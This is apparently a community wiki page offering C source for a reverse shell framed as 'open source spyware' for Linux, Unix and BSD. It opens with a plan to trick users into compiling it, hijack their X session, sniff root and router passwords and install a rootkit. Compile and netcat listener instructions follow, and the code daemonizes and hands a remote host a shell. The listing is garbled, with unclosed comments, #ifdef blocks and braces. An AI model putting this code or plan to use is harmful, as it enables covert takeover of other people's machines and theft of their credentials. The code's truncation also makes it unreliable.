Open source spyware for Linux, Unix, and BSD[edit | edit source]

No fair letting Windoze luzers have all the fun. Almost everybody in the Linux/Unix/BSD world has a working C compiler on his or her desktop machine. We just need to somehow "drop" this program, i.e. get the luzer to download, compile, and run it without being aware of what is going on. Once we have a shell, we take control of the X session, sniff for the root password, (or just the user password if sudo is enabled,) and immediately install a real rootkit to hide our tracks so that we can control the machine at our leisure. Passwords can then be sniffed for devices like firewalls, DSL modems, and routers, and we will have control of those, too.

Actually I never had any malicious intent writing this program. I just got curious about BSD sockets, daemons, process control, etc. and I wanted to teach myself a little C programming while I was at it. I think it demonstrates how little work it is to compromise somebody's desktop computer when he or she is browsing on the internet. When people say, "Oh, I can do that easier with this or that program," that means it's time to pay more attention, not less. Frankly I'm tired of my computer getting continually hacked, and I wanted to demonstrate how easy it is, so that perhaps GNU/Linux and BSD folks would start paying a little more attention to security.

X Windows has a horrible (read nonexistent) security architecture[edit | edit source]

MS Windows + surfing the Web == Your computer is compromised.
X Windows + surfing the Web == Your computer is compromised.

X Windows completely trusts any program that gets near it to sniff or insert keystrokes and mouse movements. Please, let's stop pretending that spyware is a Microsoft Windows-only problem.

Code[edit | edit source]

 /* Department of Defense Special Reverse Shell in C
  * To compile:
  * cc -lutil -opittyshell pittyshell.c
  * To run:
  * ./pittyshell IP:v4or6:address port [/path/to/]shell [shell args]
  * Listen with nc on the other end for the shell.
  * Example:
  * Start nc in one window: $ nc -l ::1 34343
  * Then in another window: $ ./pittyshell ::1 34343 /bin/sh
 #include <stdio.h>
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <unistd.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <termios.h>
 #include <signal.h>
 /* forkpty() is declared in either util.h (for BSD) or pty.h (for Linux) */
 #ifdef HAVE_UTIL_H
 #include <util.h>
 #ifdef HAVE_PTY_H
 #include <pty.h>
 int main(int argc, char **argv) {
  int k, m, n, af, pf, sock, devnull, shell, in, out, pid;
  pid_t terminal;
  FILE *sockfp;
  u_int16_t port; /* Call htons() to convert to network byte order. */
  size_t sockstructlen;
  union { /* A union is the correct way to handle socket structures. */
    struct sockaddr sock;
    struct sockaddr_in sock4;
    struct sockaddr_in6 sock6;
  } sockaddru;
  char buf[8192];
  memset(&sockaddru, 0, sizeof(sockaddru));
  if (argc < 4) exit(1);
  sscanf(argv[2], "%hu", &port);
  if (strpbrk(argv[1], ".") != NULL) { /* IPv4 dotted quad */
    af = AF_INET; pf = PF_INET; sockstructlen = sizeof(sockaddru.sock4);
    inet_pton(af, argv[1], &sockaddru.sock4.sin_addr);
    sockaddru.sock4.sin_port = htons(port); /* network byte order--big endian */
  } else
  if (strpbrk(argv[1], ":") != NULL) { /* looks more like an IPv6 address. */
    af = AF_INET6; pf = PF_INET6; sockstructlen = sizeof(sockaddru.sock6);
    inet_pton(af, argv[1], &sockaddru.sock6.sin6_addr);
    sockaddru.sock6.sin6_port = htons(port);
    /* There might be a few more things to do for IPv6 */
  } else {/* We need to bail out here. */}
  sockaddru.sock.sa_family=af; /* This is valid for any address family. */
  sock = socket(af, SOCK_STREAM, 0); if (sock < 0) exit(1);
  if (connect(sock, &sockaddru.sock, sockstructlen) != 0) exit(2);
  sockfp = fdopen(sock, "r+"); if (sockfp == NULL) exit(3);
  fprintf(sockfp, "%s", "Socket opened.  Closing STDIO file descriptors...\n"); fflush(sockfp);
  devnull = open("/dev/null", O_RDWR, 0);
  if (devnull < 0 ||
    dup2(devnull, STDIN_FILENO) < 0 ||
    dup2(devnull, STDOUT_FILENO) < 0 ||
    dup2(devnull, STDERR_FILENO) < 0 )
  fprintf(sockfp, "%s", "File descriptors closed.  Daemonizing...\n"); fflush(sockfp);
  if(fork() || (setsid(),fork())) _exit(0);
  fprintf(sockfp, "%s", "Daemonized.  Starting terminal...\n"); fflush(sockfp);
  terminal = forkpty(&shell, NULL, NULL, NULL);
  switch (terminal) {
    case 0:
      fprintf(stderr, "%s", "Terminal started.  Executing shell...\n");
      execvp(argv[3], argv + 3);
    case (-1):
      fprintf(sockfp, "%s", "Failed to start shell.  Exiting...\n");
  } /* only the parent leaves the switch statement */
  signal(SIGPIPE, SIG_IGN);
  fprintf(sockfp, "%s", "Forking for I/O...\n"); fflush(sockfp);
  pid = fork();
  if (pid < 0) {
    fprintf(sockfp, "%s", "Failed to fork for I/O.  Exiting...\n");
  } else
  if (pid == 0) in = sock, out = shell;
  else in = shell, out = sock;
  while (n = read(in, buf, 8192), n > 0) {
    for (m = 0; m < n; m += k) {
      k = write(out, buf + m, n - m);
      if (k < 1) break;
    if (k < 1) break;
  shutdown(sock, pid ? SHUT_WR : SHUT_RD);

That's it. It compiles and runs now, and all the script kiddies can use it.

See also[edit | edit source]

References and external links[edit | edit source]

It looks like this program, or one very similar to it, was used to hack into Goldman Sachs' insider trading program.

  • Little Reverse Shell Guide by Julius Plenz.
  • socat can theoretically do everything here and more. However, it has an arcane switch syntax with innumerable options, and I had to pore over the code manually to determine which options took effect at which time, and sometimes I wanted to do things in a different order than what socat allowed me to do.
Community content is available under CC-BY-SA unless otherwise noted.